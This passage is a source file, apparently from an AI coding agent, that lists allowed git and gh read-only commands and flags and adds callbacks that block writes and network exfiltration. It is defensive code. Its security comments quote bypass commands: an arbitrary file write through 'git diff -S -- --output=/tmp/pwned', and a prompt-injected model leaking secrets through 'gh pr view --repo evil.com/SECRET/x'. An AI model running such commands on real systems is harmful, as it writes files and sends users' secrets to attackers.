source dump of claude code
at main 1893 lines 68 kB view raw
1/** 2 * Shared command validation maps for shell tools (BashTool, PowerShellTool, etc.). 3 * 4 * Exports complete command configuration maps that any shell tool can import: 5 * - GIT_READ_ONLY_COMMANDS: all git subcommands with safe flags and callbacks 6 * - GH_READ_ONLY_COMMANDS: ant-only gh CLI commands (network-dependent) 7 * - EXTERNAL_READONLY_COMMANDS: cross-shell commands that work in both bash and PowerShell 8 * - containsVulnerableUncPath: UNC path detection for credential leak prevention 9 * - outputLimits are in outputLimits.ts 10 */ 11 12import { getPlatform } from '../platform.js' 13 14// --------------------------------------------------------------------------- 15// Types 16// --------------------------------------------------------------------------- 17 18export type FlagArgType = 19 | 'none' // No argument (--color, -n) 20 | 'number' // Integer argument (--context=3) 21 | 'string' // Any string argument (--relative=path) 22 | 'char' // Single character (delimiter) 23 | '{}' // Literal "{}" only 24 | 'EOF' // Literal "EOF" only 25 26export type ExternalCommandConfig = { 27 safeFlags: Record<string, FlagArgType> 28 // Returns true if the command is dangerous, false if safe. 29 // args is the list of tokens AFTER the command name (e.g., after "git branch"). 30 additionalCommandIsDangerousCallback?: ( 31 rawCommand: string, 32 args: string[], 33 ) => boolean 34 // When false, the tool does NOT respect POSIX `--` end-of-options. 35 // validateFlags will continue checking flags after `--` instead of breaking. 36 // Default: true (most tools respect `--`). 37 respectsDoubleDash?: boolean 38} 39 40// --------------------------------------------------------------------------- 41// Shared git flag groups 42// --------------------------------------------------------------------------- 43 44const GIT_REF_SELECTION_FLAGS: Record<string, FlagArgType> = { 45 '--all': 'none', 46 '--branches': 'none', 47 '--tags': 'none', 48 '--remotes': 'none', 49} 50 51const GIT_DATE_FILTER_FLAGS: Record<string, FlagArgType> = { 52 '--since': 'string', 53 '--after': 'string', 54 '--until': 'string', 55 '--before': 'string', 56} 57 58const GIT_LOG_DISPLAY_FLAGS: Record<string, FlagArgType> = { 59 '--oneline': 'none', 60 '--graph': 'none', 61 '--decorate': 'none', 62 '--no-decorate': 'none', 63 '--date': 'string', 64 '--relative-date': 'none', 65} 66 67const GIT_COUNT_FLAGS: Record<string, FlagArgType> = { 68 '--max-count': 'number', 69 '-n': 'number', 70} 71 72// Stat output flags - used in git log, show, diff 73const GIT_STAT_FLAGS: Record<string, FlagArgType> = { 74 '--stat': 'none', 75 '--numstat': 'none', 76 '--shortstat': 'none', 77 '--name-only': 'none', 78 '--name-status': 'none', 79} 80 81// Color output flags - used in git log, show, diff 82const GIT_COLOR_FLAGS: Record<string, FlagArgType> = { 83 '--color': 'none', 84 '--no-color': 'none', 85} 86 87// Patch display flags - used in git log, show 88const GIT_PATCH_FLAGS: Record<string, FlagArgType> = { 89 '--patch': 'none', 90 '-p': 'none', 91 '--no-patch': 'none', 92 '--no-ext-diff': 'none', 93 '-s': 'none', 94} 95 96// Author/committer filter flags - used in git log, reflog 97const GIT_AUTHOR_FILTER_FLAGS: Record<string, FlagArgType> = { 98 '--author': 'string', 99 '--committer': 'string', 100 '--grep': 'string', 101} 102 103// --------------------------------------------------------------------------- 104// GIT_READ_ONLY_COMMANDS — complete map of all git subcommands 105// --------------------------------------------------------------------------- 106 107export const GIT_READ_ONLY_COMMANDS: Record<string, ExternalCommandConfig> = { 108 'git diff': { 109 safeFlags: { 110 ...GIT_STAT_FLAGS, 111 ...GIT_COLOR_FLAGS, 112 // Display and comparison flags 113 '--dirstat': 'none', 114 '--summary': 'none', 115 '--patch-with-stat': 'none', 116 '--word-diff': 'none', 117 '--word-diff-regex': 'string', 118 '--color-words': 'none', 119 '--no-renames': 'none', 120 '--no-ext-diff': 'none', 121 '--check': 'none', 122 '--ws-error-highlight': 'string', 123 '--full-index': 'none', 124 '--binary': 'none', 125 '--abbrev': 'number', 126 '--break-rewrites': 'none', 127 '--find-renames': 'none', 128 '--find-copies': 'none', 129 '--find-copies-harder': 'none', 130 '--irreversible-delete': 'none', 131 '--diff-algorithm': 'string', 132 '--histogram': 'none', 133 '--patience': 'none', 134 '--minimal': 'none', 135 '--ignore-space-at-eol': 'none', 136 '--ignore-space-change': 'none', 137 '--ignore-all-space': 'none', 138 '--ignore-blank-lines': 'none', 139 '--inter-hunk-context': 'number', 140 '--function-context': 'none', 141 '--exit-code': 'none', 142 '--quiet': 'none', 143 '--cached': 'none', 144 '--staged': 'none', 145 '--pickaxe-regex': 'none', 146 '--pickaxe-all': 'none', 147 '--no-index': 'none', 148 '--relative': 'string', 149 // Diff filtering 150 '--diff-filter': 'string', 151 // Short flags 152 '-p': 'none', 153 '-u': 'none', 154 '-s': 'none', 155 '-M': 'none', 156 '-C': 'none', 157 '-B': 'none', 158 '-D': 'none', 159 '-l': 'none', 160 // SECURITY: -S/-G/-O take REQUIRED string arguments (pickaxe search, 161 // pickaxe regex, orderfile). Previously 'none' caused a parser 162 // differential with git: `git diff -S -- --output=/tmp/pwned` — 163 // validator sees -S as no-arg → advances 1 token → breaks on `--` → 164 // --output unchecked. git sees -S requires arg → consumes `--` as the 165 // pickaxe string (standard getopt: required-arg options consume next 166 // argv unconditionally, BEFORE the top-level `--` check) → cursor at 167 // --output=... → parses as long option → ARBITRARY FILE WRITE. 168 // git log config at line ~207 correctly has -S/-G as 'string'. 169 '-S': 'string', 170 '-G': 'string', 171 '-O': 'string', 172 '-R': 'none', 173 }, 174 }, 175 'git log': { 176 safeFlags: { 177 ...GIT_LOG_DISPLAY_FLAGS, 178 ...GIT_REF_SELECTION_FLAGS, 179 ...GIT_DATE_FILTER_FLAGS, 180 ...GIT_COUNT_FLAGS, 181 ...GIT_STAT_FLAGS, 182 ...GIT_COLOR_FLAGS, 183 ...GIT_PATCH_FLAGS, 184 ...GIT_AUTHOR_FILTER_FLAGS, 185 // Additional display flags 186 '--abbrev-commit': 'none', 187 '--full-history': 'none', 188 '--dense': 'none', 189 '--sparse': 'none', 190 '--simplify-merges': 'none', 191 '--ancestry-path': 'none', 192 '--source': 'none', 193 '--first-parent': 'none', 194 '--merges': 'none', 195 '--no-merges': 'none', 196 '--reverse': 'none', 197 '--walk-reflogs': 'none', 198 '--skip': 'number', 199 '--max-age': 'number', 200 '--min-age': 'number', 201 '--no-min-parents': 'none', 202 '--no-max-parents': 'none', 203 '--follow': 'none', 204 // Commit traversal flags 205 '--no-walk': 'none', 206 '--left-right': 'none', 207 '--cherry-mark': 'none', 208 '--cherry-pick': 'none', 209 '--boundary': 'none', 210 // Ordering flags 211 '--topo-order': 'none', 212 '--date-order': 'none', 213 '--author-date-order': 'none', 214 // Format control 215 '--pretty': 'string', 216 '--format': 'string', 217 // Diff filtering 218 '--diff-filter': 'string', 219 // Pickaxe search (find commits that add/remove string) 220 '-S': 'string', 221 '-G': 'string', 222 '--pickaxe-regex': 'none', 223 '--pickaxe-all': 'none', 224 }, 225 }, 226 'git show': { 227 safeFlags: { 228 ...GIT_LOG_DISPLAY_FLAGS, 229 ...GIT_STAT_FLAGS, 230 ...GIT_COLOR_FLAGS, 231 ...GIT_PATCH_FLAGS, 232 // Additional display flags 233 '--abbrev-commit': 'none', 234 '--word-diff': 'none', 235 '--word-diff-regex': 'string', 236 '--color-words': 'none', 237 '--pretty': 'string', 238 '--format': 'string', 239 '--first-parent': 'none', 240 '--raw': 'none', 241 // Diff filtering 242 '--diff-filter': 'string', 243 // Short flags 244 '-m': 'none', 245 '--quiet': 'none', 246 }, 247 }, 248 'git shortlog': { 249 safeFlags: { 250 ...GIT_REF_SELECTION_FLAGS, 251 ...GIT_DATE_FILTER_FLAGS, 252 // Summary options 253 '-s': 'none', 254 '--summary': 'none', 255 '-n': 'none', 256 '--numbered': 'none', 257 '-e': 'none', 258 '--email': 'none', 259 '-c': 'none', 260 '--committer': 'none', 261 // Grouping 262 '--group': 'string', 263 // Formatting 264 '--format': 'string', 265 // Filtering 266 '--no-merges': 'none', 267 '--author': 'string', 268 }, 269 }, 270 'git reflog': { 271 safeFlags: { 272 ...GIT_LOG_DISPLAY_FLAGS, 273 ...GIT_REF_SELECTION_FLAGS, 274 ...GIT_DATE_FILTER_FLAGS, 275 ...GIT_COUNT_FLAGS, 276 ...GIT_AUTHOR_FILTER_FLAGS, 277 }, 278 // SECURITY: Block `git reflog expire` (positional subcommand) — it writes 279 // to .git/logs/** by expiring reflog entries. `git reflog delete` similarly 280 // writes. Only `git reflog` (bare = show) and `git reflog show` are safe. 281 // The positional-arg fallthrough at ~:1730 would otherwise accept `expire` 282 // as a non-flag arg, and `--all` is in GIT_REF_SELECTION_FLAGS → passes. 283 additionalCommandIsDangerousCallback: ( 284 _rawCommand: string, 285 args: string[], 286 ) => { 287 // Block known write-capable subcommands: expire, delete, exists. 288 // Allow: `show`, ref names (HEAD, refs/*, branch names). 289 // The subcommand (if any) is the first positional arg. Subsequent 290 // positionals after `show` or after flags are ref names (safe). 291 const DANGEROUS_SUBCOMMANDS = new Set(['expire', 'delete', 'exists']) 292 for (const token of args) { 293 if (!token || token.startsWith('-')) continue 294 // First non-flag positional: check if it's a dangerous subcommand. 295 // If it's `show` or a ref name like `HEAD`/`refs/...`, safe. 296 if (DANGEROUS_SUBCOMMANDS.has(token)) { 297 return true // Dangerous subcommand — writes to .git/logs/** 298 } 299 // First positional is safe (show/HEAD/ref) — subsequent are ref args 300 return false 301 } 302 return false // No positional = bare `git reflog` = safe (shows reflog) 303 }, 304 }, 305 'git stash list': { 306 safeFlags: { 307 ...GIT_LOG_DISPLAY_FLAGS, 308 ...GIT_REF_SELECTION_FLAGS, 309 ...GIT_COUNT_FLAGS, 310 }, 311 }, 312 'git ls-remote': { 313 safeFlags: { 314 // Branch/tag filtering flags 315 '--branches': 'none', 316 '-b': 'none', 317 '--tags': 'none', 318 '-t': 'none', 319 '--heads': 'none', 320 '-h': 'none', 321 '--refs': 'none', 322 // Output control flags 323 '--quiet': 'none', 324 '-q': 'none', 325 '--exit-code': 'none', 326 '--get-url': 'none', 327 '--symref': 'none', 328 // Sorting flags 329 '--sort': 'string', 330 // Protocol flags 331 // SECURITY: --server-option and -o are INTENTIONALLY EXCLUDED. They 332 // transmit an arbitrary attacker-controlled string to the remote git 333 // server in the protocol v2 capability advertisement. This is a network 334 // WRITE primitive (sending data to remote) on what is supposed to be a 335 // read-only command. Even without command substitution (which is caught 336 // elsewhere), `--server-option="sensitive-data"` exfiltrates the value 337 // to whatever `origin` points to. The read-only path should never enable 338 // network writes. 339 }, 340 }, 341 'git status': { 342 safeFlags: { 343 // Output format flags 344 '--short': 'none', 345 '-s': 'none', 346 '--branch': 'none', 347 '-b': 'none', 348 '--porcelain': 'none', 349 '--long': 'none', 350 '--verbose': 'none', 351 '-v': 'none', 352 // Untracked files handling 353 '--untracked-files': 'string', 354 '-u': 'string', 355 // Ignore options 356 '--ignored': 'none', 357 '--ignore-submodules': 'string', 358 // Column display 359 '--column': 'none', 360 '--no-column': 'none', 361 // Ahead/behind info 362 '--ahead-behind': 'none', 363 '--no-ahead-behind': 'none', 364 // Rename detection 365 '--renames': 'none', 366 '--no-renames': 'none', 367 '--find-renames': 'string', 368 '-M': 'string', 369 }, 370 }, 371 'git blame': { 372 safeFlags: { 373 ...GIT_COLOR_FLAGS, 374 // Line range 375 '-L': 'string', 376 // Output format 377 '--porcelain': 'none', 378 '-p': 'none', 379 '--line-porcelain': 'none', 380 '--incremental': 'none', 381 '--root': 'none', 382 '--show-stats': 'none', 383 '--show-name': 'none', 384 '--show-number': 'none', 385 '-n': 'none', 386 '--show-email': 'none', 387 '-e': 'none', 388 '-f': 'none', 389 // Date formatting 390 '--date': 'string', 391 // Ignore whitespace 392 '-w': 'none', 393 // Ignore revisions 394 '--ignore-rev': 'string', 395 '--ignore-revs-file': 'string', 396 // Move/copy detection 397 '-M': 'none', 398 '-C': 'none', 399 '--score-debug': 'none', 400 // Abbreviation 401 '--abbrev': 'number', 402 // Other options 403 '-s': 'none', 404 '-l': 'none', 405 '-t': 'none', 406 }, 407 }, 408 'git ls-files': { 409 safeFlags: { 410 // File selection 411 '--cached': 'none', 412 '-c': 'none', 413 '--deleted': 'none', 414 '-d': 'none', 415 '--modified': 'none', 416 '-m': 'none', 417 '--others': 'none', 418 '-o': 'none', 419 '--ignored': 'none', 420 '-i': 'none', 421 '--stage': 'none', 422 '-s': 'none', 423 '--killed': 'none', 424 '-k': 'none', 425 '--unmerged': 'none', 426 '-u': 'none', 427 // Output format 428 '--directory': 'none', 429 '--no-empty-directory': 'none', 430 '--eol': 'none', 431 '--full-name': 'none', 432 '--abbrev': 'number', 433 '--debug': 'none', 434 '-z': 'none', 435 '-t': 'none', 436 '-v': 'none', 437 '-f': 'none', 438 // Exclude patterns 439 '--exclude': 'string', 440 '-x': 'string', 441 '--exclude-from': 'string', 442 '-X': 'string', 443 '--exclude-per-directory': 'string', 444 '--exclude-standard': 'none', 445 // Error handling 446 '--error-unmatch': 'none', 447 // Recursion 448 '--recurse-submodules': 'none', 449 }, 450 }, 451 'git config --get': { 452 safeFlags: { 453 // No additional flags needed - just reading config values 454 '--local': 'none', 455 '--global': 'none', 456 '--system': 'none', 457 '--worktree': 'none', 458 '--default': 'string', 459 '--type': 'string', 460 '--bool': 'none', 461 '--int': 'none', 462 '--bool-or-int': 'none', 463 '--path': 'none', 464 '--expiry-date': 'none', 465 '-z': 'none', 466 '--null': 'none', 467 '--name-only': 'none', 468 '--show-origin': 'none', 469 '--show-scope': 'none', 470 }, 471 }, 472 // NOTE: 'git remote show' must come BEFORE 'git remote' so longer patterns are matched first 473 'git remote show': { 474 safeFlags: { 475 '-n': 'none', 476 }, 477 // Only allow optional -n, then one alphanumeric remote name 478 additionalCommandIsDangerousCallback: ( 479 _rawCommand: string, 480 args: string[], 481 ) => { 482 // Filter out the known safe flag 483 const positional = args.filter(a => a !== '-n') 484 // Must have exactly one positional arg that looks like a remote name 485 if (positional.length !== 1) return true 486 return !/^[a-zA-Z0-9_-]+$/.test(positional[0]!) 487 }, 488 }, 489 'git remote': { 490 safeFlags: { 491 '-v': 'none', 492 '--verbose': 'none', 493 }, 494 // Only allow bare 'git remote' or 'git remote -v/--verbose' 495 additionalCommandIsDangerousCallback: ( 496 _rawCommand: string, 497 args: string[], 498 ) => { 499 // All args must be known safe flags; no positional args allowed 500 return args.some(a => a !== '-v' && a !== '--verbose') 501 }, 502 }, 503 // git merge-base is a read-only command for finding common ancestors 504 'git merge-base': { 505 safeFlags: { 506 '--is-ancestor': 'none', // Check if first commit is ancestor of second 507 '--fork-point': 'none', // Find fork point 508 '--octopus': 'none', // Find best common ancestors for multiple refs 509 '--independent': 'none', // Filter independent refs 510 '--all': 'none', // Output all merge bases 511 }, 512 }, 513 // git rev-parse is a pure read command — resolves refs to SHAs, queries repo paths 514 'git rev-parse': { 515 safeFlags: { 516 // SHA resolution and verification 517 '--verify': 'none', // Verify that exactly one argument is a valid object name 518 '--short': 'string', // Abbreviate output (optional length via =N) 519 '--abbrev-ref': 'none', // Symbolic name of ref 520 '--symbolic': 'none', // Output symbolic names 521 '--symbolic-full-name': 'none', // Full symbolic name including refs/heads/ prefix 522 // Repository path queries (all read-only) 523 '--show-toplevel': 'none', // Absolute path of top-level directory 524 '--show-cdup': 'none', // Path components to traverse up to top-level 525 '--show-prefix': 'none', // Relative path from top-level to cwd 526 '--git-dir': 'none', // Path to .git directory 527 '--git-common-dir': 'none', // Path to common directory (.git in main worktree) 528 '--absolute-git-dir': 'none', // Absolute path to .git directory 529 '--show-superproject-working-tree': 'none', // Superproject root (if submodule) 530 // Boolean queries 531 '--is-inside-work-tree': 'none', 532 '--is-inside-git-dir': 'none', 533 '--is-bare-repository': 'none', 534 '--is-shallow-repository': 'none', 535 '--is-shallow-update': 'none', 536 '--path-prefix': 'none', 537 }, 538 }, 539 // git rev-list is read-only commit enumeration — lists/counts commits reachable from refs 540 'git rev-list': { 541 safeFlags: { 542 ...GIT_REF_SELECTION_FLAGS, 543 ...GIT_DATE_FILTER_FLAGS, 544 ...GIT_COUNT_FLAGS, 545 ...GIT_AUTHOR_FILTER_FLAGS, 546 // Counting 547 '--count': 'none', // Output commit count instead of listing 548 // Traversal control 549 '--reverse': 'none', 550 '--first-parent': 'none', 551 '--ancestry-path': 'none', 552 '--merges': 'none', 553 '--no-merges': 'none', 554 '--min-parents': 'number', 555 '--max-parents': 'number', 556 '--no-min-parents': 'none', 557 '--no-max-parents': 'none', 558 '--skip': 'number', 559 '--max-age': 'number', 560 '--min-age': 'number', 561 '--walk-reflogs': 'none', 562 // Output formatting 563 '--oneline': 'none', 564 '--abbrev-commit': 'none', 565 '--pretty': 'string', 566 '--format': 'string', 567 '--abbrev': 'number', 568 '--full-history': 'none', 569 '--dense': 'none', 570 '--sparse': 'none', 571 '--source': 'none', 572 '--graph': 'none', 573 }, 574 }, 575 // git describe is read-only — describes commits relative to the most recent tag 576 'git describe': { 577 safeFlags: { 578 // Tag selection 579 '--tags': 'none', // Consider all tags, not just annotated 580 '--match': 'string', // Only consider tags matching the glob pattern 581 '--exclude': 'string', // Do not consider tags matching the glob pattern 582 // Output control 583 '--long': 'none', // Always output long format (tag-distance-ghash) 584 '--abbrev': 'number', // Abbreviate objectname to N hex digits 585 '--always': 'none', // Show uniquely abbreviated object as fallback 586 '--contains': 'none', // Find tag that comes after the commit 587 '--first-match': 'none', // Prefer tags closest to the tip (stops after first match) 588 '--exact-match': 'none', // Only output if an exact match (tag points at commit) 589 '--candidates': 'number', // Limit walk before selecting best candidates 590 // Suffix/dirty markers 591 '--dirty': 'none', // Append "-dirty" if working tree has modifications 592 '--broken': 'none', // Append "-broken" if repository is in invalid state 593 }, 594 }, 595 // git cat-file is read-only object inspection — displays type, size, or content of objects 596 // NOTE: --batch (without --check) is intentionally excluded — it reads arbitrary objects 597 // from stdin which could be exploited in piped commands to dump sensitive objects. 598 'git cat-file': { 599 safeFlags: { 600 // Object query modes (all purely read-only) 601 '-t': 'none', // Print type of object 602 '-s': 'none', // Print size of object 603 '-p': 'none', // Pretty-print object contents 604 '-e': 'none', // Exit with zero if object exists, non-zero otherwise 605 // Batch mode — read-only check variant only 606 '--batch-check': 'none', // For each object on stdin, print type and size (no content) 607 // Output control 608 '--allow-undetermined-type': 'none', 609 }, 610 }, 611 // git for-each-ref is read-only ref iteration — lists refs with optional formatting and filtering 612 'git for-each-ref': { 613 safeFlags: { 614 // Output formatting 615 '--format': 'string', // Format string using %(fieldname) placeholders 616 // Sorting 617 '--sort': 'string', // Sort by key (e.g., refname, creatordate, version:refname) 618 // Limiting 619 '--count': 'number', // Limit output to at most N refs 620 // Filtering 621 '--contains': 'string', // Only list refs that contain specified commit 622 '--no-contains': 'string', // Only list refs that do NOT contain specified commit 623 '--merged': 'string', // Only list refs reachable from specified commit 624 '--no-merged': 'string', // Only list refs NOT reachable from specified commit 625 '--points-at': 'string', // Only list refs pointing at specified object 626 }, 627 }, 628 // git grep is read-only — searches tracked files for patterns 629 'git grep': { 630 safeFlags: { 631 // Pattern matching modes 632 '-e': 'string', // Pattern 633 '-E': 'none', // Extended regexp 634 '--extended-regexp': 'none', 635 '-G': 'none', // Basic regexp (default) 636 '--basic-regexp': 'none', 637 '-F': 'none', // Fixed strings 638 '--fixed-strings': 'none', 639 '-P': 'none', // Perl regexp 640 '--perl-regexp': 'none', 641 // Match control 642 '-i': 'none', // Ignore case 643 '--ignore-case': 'none', 644 '-v': 'none', // Invert match 645 '--invert-match': 'none', 646 '-w': 'none', // Word regexp 647 '--word-regexp': 'none', 648 // Output control 649 '-n': 'none', // Line number 650 '--line-number': 'none', 651 '-c': 'none', // Count 652 '--count': 'none', 653 '-l': 'none', // Files with matches 654 '--files-with-matches': 'none', 655 '-L': 'none', // Files without match 656 '--files-without-match': 'none', 657 '-h': 'none', // No filename 658 '-H': 'none', // With filename 659 '--heading': 'none', 660 '--break': 'none', 661 '--full-name': 'none', 662 '--color': 'none', 663 '--no-color': 'none', 664 '-o': 'none', // Only matching 665 '--only-matching': 'none', 666 // Context 667 '-A': 'number', // After context 668 '--after-context': 'number', 669 '-B': 'number', // Before context 670 '--before-context': 'number', 671 '-C': 'number', // Context 672 '--context': 'number', 673 // Boolean operators for multi-pattern 674 '--and': 'none', 675 '--or': 'none', 676 '--not': 'none', 677 // Scope control 678 '--max-depth': 'number', 679 '--untracked': 'none', 680 '--no-index': 'none', 681 '--recurse-submodules': 'none', 682 '--cached': 'none', 683 // Threads 684 '--threads': 'number', 685 // Quiet 686 '-q': 'none', 687 '--quiet': 'none', 688 }, 689 }, 690 // git stash show is read-only — displays diff of a stash entry 691 'git stash show': { 692 safeFlags: { 693 ...GIT_STAT_FLAGS, 694 ...GIT_COLOR_FLAGS, 695 ...GIT_PATCH_FLAGS, 696 // Diff options 697 '--word-diff': 'none', 698 '--word-diff-regex': 'string', 699 '--diff-filter': 'string', 700 '--abbrev': 'number', 701 }, 702 }, 703 // git worktree list is read-only — lists linked working trees 704 'git worktree list': { 705 safeFlags: { 706 '--porcelain': 'none', 707 '-v': 'none', 708 '--verbose': 'none', 709 '--expire': 'string', 710 }, 711 }, 712 'git tag': { 713 safeFlags: { 714 // List mode flags 715 '-l': 'none', 716 '--list': 'none', 717 '-n': 'number', 718 '--contains': 'string', 719 '--no-contains': 'string', 720 '--merged': 'string', 721 '--no-merged': 'string', 722 '--sort': 'string', 723 '--format': 'string', 724 '--points-at': 'string', 725 '--column': 'none', 726 '--no-column': 'none', 727 '-i': 'none', 728 '--ignore-case': 'none', 729 }, 730 // SECURITY: Block tag creation via positional arguments. `git tag foo` 731 // creates .git/refs/tags/foo (41-byte file write) — NOT read-only. 732 // This is identical semantics to `git branch foo` (which has the same 733 // callback below). Without this callback, validateFlags's default 734 // positional-arg fallthrough at ~:1730 accepts `mytag` as a non-flag arg, 735 // and git tag auto-approves. While the write is constrained (path limited 736 // to .git/refs/tags/, content is fixed HEAD SHA), it violates the 737 // read-only invariant and can pollute CI/CD tag-pattern matching or make 738 // abandoned commits reachable via `git tag foo <commit>`. 739 additionalCommandIsDangerousCallback: ( 740 _rawCommand: string, 741 args: string[], 742 ) => { 743 // Safe uses: `git tag` (list), `git tag -l pattern` (list filtered), 744 // `git tag --contains <ref>` (list containing). A bare positional arg 745 // without -l/--list is a tag name to CREATE — dangerous. 746 const flagsWithArgs = new Set([ 747 '--contains', 748 '--no-contains', 749 '--merged', 750 '--no-merged', 751 '--points-at', 752 '--sort', 753 '--format', 754 '-n', 755 ]) 756 let i = 0 757 let seenListFlag = false 758 let seenDashDash = false 759 while (i < args.length) { 760 const token = args[i] 761 if (!token) { 762 i++ 763 continue 764 } 765 // `--` ends flag parsing. All subsequent tokens are positional args, 766 // even if they start with `-`. `git tag -- -l` CREATES a tag named `-l`. 767 if (token === '--' && !seenDashDash) { 768 seenDashDash = true 769 i++ 770 continue 771 } 772 if (!seenDashDash && token.startsWith('-')) { 773 // Check for -l/--list (exact or in a bundle). `-li` bundles -l and 774 // -i — both 'none' type. Array.includes('-l') exact-matches, missing 775 // bundles like `-li`, `-il`. Check individual chars for short bundles. 776 if (token === '--list' || token === '-l') { 777 seenListFlag = true 778 } else if ( 779 token[0] === '-' && 780 token[1] !== '-' && 781 token.length > 2 && 782 !token.includes('=') && 783 token.slice(1).includes('l') 784 ) { 785 // Short-flag bundle like -li, -il containing 'l' 786 seenListFlag = true 787 } 788 if (token.includes('=')) { 789 i++ 790 } else if (flagsWithArgs.has(token)) { 791 i += 2 792 } else { 793 i++ 794 } 795 } else { 796 // Non-flag positional arg (or post-`--` positional). Safe only if 797 // preceded by -l/--list (then it's a pattern, not a tag name). 798 if (!seenListFlag) { 799 return true // Positional arg without --list = tag creation 800 } 801 i++ 802 } 803 } 804 return false 805 }, 806 }, 807 'git branch': { 808 safeFlags: { 809 // List mode flags 810 '-l': 'none', 811 '--list': 'none', 812 '-a': 'none', 813 '--all': 'none', 814 '-r': 'none', 815 '--remotes': 'none', 816 '-v': 'none', 817 '-vv': 'none', 818 '--verbose': 'none', 819 // Display options 820 '--color': 'none', 821 '--no-color': 'none', 822 '--column': 'none', 823 '--no-column': 'none', 824 // SECURITY: --abbrev stays 'number' so validateFlags accepts --abbrev=N 825 // (attached form, safe). The DETACHED form `--abbrev N` is the bug: 826 // git uses PARSE_OPT_OPTARG (optional-attached only) — detached N becomes 827 // a POSITIONAL branch name, creating .git/refs/heads/N. validateFlags 828 // with 'number' consumes N, but the CALLBACK below catches it: --abbrev 829 // is NOT in callback's flagsWithArgs (removed), so callback sees N as a 830 // positional without list flag → dangerous. Two-layer defense: validate- 831 // Flags accepts both forms, callback blocks detached. 832 '--abbrev': 'number', 833 '--no-abbrev': 'none', 834 // Filtering - these take commit/ref arguments 835 '--contains': 'string', 836 '--no-contains': 'string', 837 '--merged': 'none', // Optional commit argument - handled in callback 838 '--no-merged': 'none', // Optional commit argument - handled in callback 839 '--points-at': 'string', 840 // Sorting 841 '--sort': 'string', 842 // Note: --format is intentionally excluded as it could pose security risks 843 // Show current 844 '--show-current': 'none', 845 '-i': 'none', 846 '--ignore-case': 'none', 847 }, 848 // Block branch creation via positional arguments (e.g., "git branch newbranch") 849 // Flag validation is handled by safeFlags above 850 // args is tokens after "git branch" 851 additionalCommandIsDangerousCallback: ( 852 _rawCommand: string, 853 args: string[], 854 ) => { 855 // Block branch creation: "git branch <name>" or "git branch <name> <start-point>" 856 // Only safe uses are: "git branch" (list), "git branch -flags" (list with options), 857 // or "git branch --contains/--merged/etc <ref>" (filtering) 858 // Flags that require an argument 859 const flagsWithArgs = new Set([ 860 '--contains', 861 '--no-contains', 862 '--points-at', 863 '--sort', 864 // --abbrev REMOVED: git does NOT consume detached arg (PARSE_OPT_OPTARG) 865 ]) 866 // Flags with optional arguments (don't require, but can take one) 867 const flagsWithOptionalArgs = new Set(['--merged', '--no-merged']) 868 let i = 0 869 let lastFlag = '' 870 let seenListFlag = false 871 let seenDashDash = false 872 while (i < args.length) { 873 const token = args[i] 874 if (!token) { 875 i++ 876 continue 877 } 878 // `--` ends flag parsing. `git branch -- -l` CREATES a branch named `-l`. 879 if (token === '--' && !seenDashDash) { 880 seenDashDash = true 881 lastFlag = '' 882 i++ 883 continue 884 } 885 if (!seenDashDash && token.startsWith('-')) { 886 // Check for -l/--list including short-flag bundles (-li, -la, etc.) 887 if (token === '--list' || token === '-l') { 888 seenListFlag = true 889 } else if ( 890 token[0] === '-' && 891 token[1] !== '-' && 892 token.length > 2 && 893 !token.includes('=') && 894 token.slice(1).includes('l') 895 ) { 896 seenListFlag = true 897 } 898 if (token.includes('=')) { 899 lastFlag = token.split('=')[0] || '' 900 i++ 901 } else if (flagsWithArgs.has(token)) { 902 lastFlag = token 903 i += 2 904 } else { 905 lastFlag = token 906 i++ 907 } 908 } else { 909 // Non-flag argument (or post-`--` positional) - could be: 910 // 1. A branch name (dangerous - creates a branch) 911 // 2. A pattern after --list/-l (safe) 912 // 3. An optional argument after --merged/--no-merged (safe) 913 const lastFlagHasOptionalArg = flagsWithOptionalArgs.has(lastFlag) 914 if (!seenListFlag && !lastFlagHasOptionalArg) { 915 return true // Positional arg without --list or filtering flag = branch creation 916 } 917 i++ 918 } 919 } 920 return false 921 }, 922 }, 923} 924 925// --------------------------------------------------------------------------- 926// GH_READ_ONLY_COMMANDS — ant-only gh CLI commands (network-dependent) 927// --------------------------------------------------------------------------- 928 929// SECURITY: Shared callback for all gh commands to prevent network exfil. 930// gh's repo argument accepts `[HOST/]OWNER/REPO` — when HOST is present 931// (3 segments), gh connects to that host's API. A prompt-injected model can 932// encode secrets as the OWNER segment and exfiltrate via DNS/HTTP: 933// gh pr view 1 --repo evil.com/BASE32SECRET/x 934// → GET https://evil.com/api/v3/repos/BASE32SECRET/x/pulls/1 935// gh also accepts positional URLs: `gh pr view https://evil.com/owner/repo/pull/1` 936// 937// git ls-remote has an inline URL guard (readOnlyValidation.ts:~944); this 938// callback provides the equivalent for gh. Rejects: 939// - Any token with 2+ slashes (HOST/OWNER/REPO format — normal is OWNER/REPO) 940// - Any token with `://` (URL) 941// - Any token with `@` (SSH-style) 942// This covers BOTH --repo values AND positional URL/repo arguments, INCLUDING 943// the equals-attached form `--repo=HOST/OWNER/REPO` (cobra accepts both forms). 944function ghIsDangerousCallback(_rawCommand: string, args: string[]): boolean { 945 for (const token of args) { 946 if (!token) continue 947 // For flag tokens, extract the VALUE after `=` for inspection. Without this, 948 // `--repo=evil.com/SECRET/x` (single token starting with `-`) gets skipped 949 // entirely, bypassing the HOST check. Cobra treats `--flag=val` identically 950 // to `--flag val`; we must inspect both forms. 951 let value = token 952 if (token.startsWith('-')) { 953 const eqIdx = token.indexOf('=') 954 if (eqIdx === -1) continue // flag without inline value, nothing to inspect 955 value = token.slice(eqIdx + 1) 956 if (!value) continue 957 } 958 // Skip values that are clearly not repo specs (no `/` at all, or pure numbers) 959 if ( 960 !value.includes('/') && 961 !value.includes('://') && 962 !value.includes('@') 963 ) { 964 continue 965 } 966 // URL schemes: https://, http://, git://, ssh:// 967 if (value.includes('://')) { 968 return true 969 } 970 // SSH-style: git@host:owner/repo 971 if (value.includes('@')) { 972 return true 973 } 974 // 3+ segments = HOST/OWNER/REPO (normal gh format is OWNER/REPO, 1 slash) 975 // Count slashes: 2+ slashes means 3+ segments 976 const slashCount = (value.match(/\//g) || []).length 977 if (slashCount >= 2) { 978 return true 979 } 980 } 981 return false 982} 983 984export const GH_READ_ONLY_COMMANDS: Record<string, ExternalCommandConfig> = { 985 // gh pr view is read-only — displays pull request details 986 'gh pr view': { 987 safeFlags: { 988 '--json': 'string', // JSON field selection 989 '--comments': 'none', // Show comments 990 '--repo': 'string', // Target repository (OWNER/REPO) 991 '-R': 'string', 992 }, 993 additionalCommandIsDangerousCallback: ghIsDangerousCallback, 994 }, 995 // gh pr list is read-only — lists pull requests 996 'gh pr 